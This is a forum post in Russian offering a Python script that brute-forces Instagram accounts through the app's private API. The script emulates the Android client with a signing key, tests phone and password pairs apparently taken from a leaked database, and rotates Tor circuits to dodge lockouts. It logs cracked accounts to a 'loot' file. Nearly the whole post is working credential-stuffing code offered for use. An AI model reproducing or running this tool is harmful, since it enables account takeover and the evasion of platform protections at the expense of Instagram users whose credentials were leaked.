Способ брутфорса instagram через приватный API

SergOishe

Пользователь
4 Июн 2018
292
192
296
В общем ребят, я тут новенький, на форуме.. но в теме варюсь очень плотно, хотелось познакомиться и наконец-то немного набить статистику для полноценного отображений аватара)

Способ нашёл давно, когда выковыривал внутрянку APK инстаграма.. изучал запросы по которым бегает приложение
суть в эмуляции действия с самого клиента.
Ключ много раз менялся за всё это время, а так-же менялся способ подписи данных

Плюсы:
  • Возможность узнать привязан ли по номеру телефона аккаунт инстаграмма
  • Возможность брута инсты по логину\емайлу\номеру телефона
  • Непосредственная работа через эмуляцию, с обходом ограниченний которые могут иметься на WEB клиенте
  • Я представляю вам source на python-е, а вы можете переписать для своих нужд под свой любиый ЯП
Скрипт пока однопоточный, пытаюсь понять возможные лимиты и привязанность к IP адрессу
Дальше можно оптимизировать и выставить правильный баланс

Что бы не залочить аккаунты сделал выставку смены TOR цепочки каждые 5 запросовпереписать для своих нужд
Повторюсь, пример simple-овый, если есть пожелания - могу переписать на любой язык, добавить то что вам необходимо







PHP:
#!/usr/bin/env python

import requests, socks, socket, os, sys, re, json, hashlib, hmac, time, random, codecs
import subprocess
import sqlite3 as lite
from requests.packages.urllib3.exceptions import InsecureRequestWarning

con = lite.connect('/home/rager/dev/database.db')

h = {'User-Agent':'Instagram 10.33.0 Android (23/6.0.1; 640dpi; 1440x2560; ZTE; ZTE A2017U; ailsa_ii; qcom; en_US)',
"X-FB-HTTP-Engine":"Liger",
"Accept":" */*",
"Accept-Encoding":"gzip,deflate",
"Accept-Language":"en-US",
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
"X-IG-Capabilities":" 3boDAA==",
"X-IG-Connection-Type": "WIFI",
"X-IG-Connection-Speed": "224а4kbps"}

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

#SETTINGS
proxies = {'http': 'socks5://127.0.0.1:9050/', 'https': 'socks5://127.0.0.1:9050/'}
key = '0443b39a54b05f064a4917a3d1da4d6524a3fb0878eacabf1424515051674daa'

def get_my_ip():
while True:
try:
r = requests.get('https://api.ipify.org', proxies=proxies)
if r:
if r.status_code == 200:
return r.text
except requests.ConnectionError:
print ' [-] ConnectionError'
time.sleep(20)

print ' \033[96m[+]\033[0m Proxy server activated: ' + get_my_ip()

def auth_login(login, password):
token = ''.join(random.sample(map(chr, range(48, 57) + range(65, 90) + range(97, 122)), 32))
try:
packet = '{"phone_id":"006ecde7-ada0-4ed0-b0c5-067ec3b00128",\
"_csrftoken":"%s",\
"username":"%s",\
"adid":"ec8f8a12-27b1-4f40-ab6b-9f585fcb9be9",\
"guid":"b6fee990-7bd8-439e-82dc-c3715371fd44",\
"device_id":"android-5916b8934854e290",\
"password":"%s",\
"login_attempt_count":"0"}' % (token, login, password)

sig = hmac.new(key, msg=packet, digestmod=hashlib.sha256).digest().encode("hex")
ans = requests.post('https://i.instagram.com/api/v1/accounts/login/', 'signed_body=%s.%s&ig_sig_key_version=4' % (sig, packet), proxies=proxies, headers=h)
json_obj = json.loads(ans.content)

if json_obj.has_key('error_title'):
return json_obj.get('error_title')
else:
return json_obj.get('logged_in_user')
except:
print ' Failed', login
return None

def loger(data):
f = codecs.open('loot.txt', encoding='utf-8', mode='a')
f.write(data + "\n")
f.close()

def tor_change():
subprocess.call(['/home/rager/dev/torch.sh'], stdout=subprocess.PIPE)
print ' \033[96m[+]\033[0m Proxy server changed:', get_my_ip()

def main():
try:
lim = 6
c = 0
for acc in con.execute("SELECT phone,password FROM data WHERE password is NOT NULL GROUP by id_owner,password ORDER by id_owner DESC"):

num = '7' + acc[0][-10:]
pk = auth_login(num,acc[1])

if c%lim == lim - 1:
tor_change()

if type(pk) is dict and pk.has_key('pk'):
print ' [+]\033[92m', num, '\033[0m >>', pk.get('username'), pk.get('profile_pic_url')
loger("%s\t%s\t%s\t%s" % (num,acc[1], pk.get('username'), pk.get('profile_pic_url')))
elif type(pk) is unicode:
c = c + 1
print ' [%s/%s] %s:%s - \033[91m%s\033[0m' % (c%lim, lim - 1, num, acc[1], pk)
else:
print ' Some shit...'
tor_change()

except Exception as e:
print ' error '
raise

main();